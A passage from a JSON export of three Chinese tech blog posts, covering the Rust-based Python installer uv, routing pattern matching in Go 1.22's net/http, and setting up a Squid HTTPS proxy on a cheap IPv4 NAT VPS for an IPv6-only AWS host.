    "body": "社群好幾個地方都有提到的「<a href=\"https://astral.sh/blog/uv\">uv: Python packaging in Rust</a>」這個，文章開頭的說明有快速說明目標是 <a href=\"https://pip.pypa.io/\">pip</a> 的 drop-in replacement：\r\n\r\n<blockquote>TL;DR: uv is an extremely fast Python package installer and resolver, written in Rust, and designed as a drop-in replacement for pip and pip-tools workflows.</blockquote>\r\n\r\n這跟「<a href=\"https://blog.gslin.org/archives/2023/04/19/11147/ruff%EF%BC%9A%E7%94%A8-rust-%E5%AF%AB%E7%9A%84-python-linter/\">Ruff：用 Rust 寫的 Python Linter</a>」都是 <a href=\"https://astral.sh/\">Astral</a> 下的專案，主打用 <a href=\"https://www.rust-lang.org/\">Rust</a> 改善速度的專案。\r\n\r\n馬上想到的是 package resolver，這指的是依照每個套件指定的相依條件，找出符合所有條件的版本組合。\r\n\r\n這在各個語言的套件系統上都是痛點，而在「<a href=\"https://research.swtch.com/version-sat\">Dependency hell is NP-complete</a>」這篇就有指出這是 <a href=\"https://en.wikipedia.org/wiki/NP-completeness\">NP-complete</a>。\r\n\r\n這是因為 <a href=\"https://en.wikipedia.org/wiki/3SAT\">3SAT</a> 問題可以 <a href=\"https://en.wikipedia.org/wiki/P_(complexity)\">PTIME</a> 轉成 package resolver 問題 (於是就 <a href=\"https://en.wikipedia.org/wiki/NP-hardness\">NP-hard</a> 了)，再加上有 PTIME 的驗證，就變成 NP-complete 了。\r\n\r\n但看說明應該是不只這個部分，包括了一些 i/o 類操作的改善。\r\n\r\n除了速度以外，uv 也提供了讓測試更方便的功能，像是在計算相容版本時，預設的演算法是儘量都裝最新版，但你可以指定要儘量裝最舊的版本，這樣對於相容性測試頗有用的：\r\n\r\n<blockquote>But by passing <code>--resolution=lowest</code>, library authors can test their packages against the lowest-compatible version of their dependencies. (This is similar to Go's Minimal version selection.)</blockquote>\r\n\r\n這個工具的出現也是頗有幫助，我記得寫 <a href=\"https://www.python.org/\">Python</a> 專案時隨便引入個 <a href=\"https://www.djangoproject.com/\">Django</a>，再多拉幾個套件，跑起 package resolver 就要花不少時間了，可以想像中大型專案在這塊的痛點...\r\n\r\n另外剛剛回去看了 <a href=\"https://github.com/astral-sh/ruff\">ruff</a>，從去年四月 500+ 條規則增加到 700+ 條了，在發表受到注目後應該補了不少社群常用到的規則，說不定新專案可以無痛跳進去了，去年的時候試著用，有發現常見的規則還沒有支援...",
    "title": "uv：用 Rust 寫的 Python Packaging 替代方案"
  },
  {
    "id": "11668",
    "body": "<a href=\"https://go.dev/\">Go</a> 的 <a href=\"https://pkg.go.dev/net/http\">net/http</a> 在 1.22 引入了更方便的 pattern matching：「<a href=\"https://go.dev/blog/routing-enhancements\">Routing Enhancements for Go 1.22</a>」。\r\n\r\n用官方的範例，現在可以處理路徑裡的參數了：\r\n\r\n<pre>http.Handle(\"GET /posts/{id}\", handlePost2)</pre>\r\n\r\n後續可以透過 <code>PathValue()</code> 取出來：\r\n\r\n<pre>idString := req.PathValue(\"id\")</pre>\r\n\r\n而優先順序則是依照吻合度定義：\r\n\r\n<blockquote>The precedence rule is simple: the most specific pattern wins. This rule matches our intuition that <code>posts/latests</code> should be preferred to <code>posts/{id}</code>, and <code>/users/{u}/posts/latest</code> should be preferred to <code>/users/{u}/posts/{id}</code>. It also makes sense for methods. For example, <code>GET /posts/{id}</code> takes precedence over <code>/posts/{id}</code> because the first only matches GET and HEAD requests, while the second matches requests with any method.</blockquote>\r\n\r\n但是當有重疊卻無法判斷相對吻合度的 rule 被加進去時，會直接 <code>panic()</code>：\r\n\r\n<blockquote>What if two patterns overlap but neither is more specific? For example, <code>/posts/{id}</code> and <code>/{resource}/latest</code> both match <code>/posts/latest</code>. There is no obvious answer to which takes precedence, so we consider these patterns to conflict with each other. Registering both of them (in either order!) will panic.</blockquote>\r\n\r\n這的確是種方法啦... 而且留有之後處理的空間，真的有好的方法就可以把 <code>panic()</code> 的邏輯改成新的共識。",
    "title": "Go 的 net/http 在 1.22 的 routing 新功能"
  },
  {
    "id": "11670",
    "body": "因為 <a href=\"https://aws.amazon.com/\">AWS</a> 開始收 Public IPv4 address 費用的關係 (而且頗貴，參考「<a href=\"https://blog.gslin.org/archives/2023/07/30/11274/aws-%e5%b0%87%e9%96%8b%e5%a7%8b%e6%94%b6%e5%8f%96-ipv4-%e7%9a%84-public-ip-%e8%b2%bb%e7%94%a8/\">AWS 將開始收取 IPv4 的 Public IP 費用</a>」)，我把其中一台主機改成只有 IPv6 address 後遇到不少問題 (在「<a href=\"https://blog.gslin.org/archives/2024/02/01/11628/%e6%8a%8a-aws-%e4%b8%8a%e7%9a%84-ec2-instance-%e6%94%b9%e6%88%90-ipv6-only/\">把 AWS 上的 EC2 instance 改成 IPv6-only</a>」這邊)。\r\n\r\n由於有 proxy 的需求，剛好找機會玩一下 IPv4 NAT VPS... 這種 VPS 最基本的大概就是會給一個 IPv4 address 上 non-standard port 當作 SSH port，讓你可以連進去管理；另外通常會給 port forwarding 的功能，而且是固定不能換的，讓你可以開一些 port 出來用。\r\n\r\n我的用途是 IPv6 address 的 proxy，所以要找有給固定的 IPv6 address 的，另外希望跑在日本，這樣其他用途也比較方便。\r\n\r\n過年期間翻了一下找到 <a href=\"https://natvps.net/\">NAT VPS</a>，有 256MB 跑個 proxy 類的應用應該還 OK，實際上是 256MB RAM + 64MB swap 的 <a href=\"https://en.wikipedia.org/wiki/OpenVZ\">OpenVZ</a> 類環境，kernel 有到 5.2.0 還算堪用，上面可以選 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 22.04 安裝。\r\n\r\n費用的部分 US$7/year 還行，網路上是有看到 128MB RAM 的 機器，但這樣連裝東西都綁手綁腳的，太容易 OOM。\r\n\r\n(剛拿到機器的時候還試著裝 <a href=\"https://www.percona.com/mysql/software/percona-server-for-mysql\">Percona Server for MySQL</a>，結果就 OOM 跑不完 setup 的流程，看起來得自己改設定混過去，但只是想確認 256MB RAM + 64MB swap 可以弄到什麼程度，就反安裝了...)\r\n\r\n在上面把想測的東西測試完後，實際的 proxy 設定比較簡單... 先設定一個只有 IPv6 address 的 domain 申請 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 的 SSL certificate，然後掛給 <a href=\"https://www.squid-cache.org/\">Squid</a> 用。\r\n\r\n然後在 IPv6-only 的機器上用 <code>curl -v --proxy https://username:password@proxy-jp.example.com:12345/ https://home.gslin.org/robots.txt</code> 確認沒問題後就可以把服務都掛過去。\r\n\r\n有些服務會吃環境變數 <code>HTTP_PROXY</code> 與 <code>HTTPS_PROXY</code>，有些是在設定檔內設定，基本上都是照著文件設就可以了。\r\n\r\n我遇到的 application &amp; library 都可以吃 HTTPS Proxy 協定，就沒什麼大問題... 如果有遇到不行的，也可以考慮在 Squid 裡面直接放行特定的 IPv6 address。",
    "title": "測 IPv4 NAT VPS，以及架設 HTTPS Proxy"
  }
]
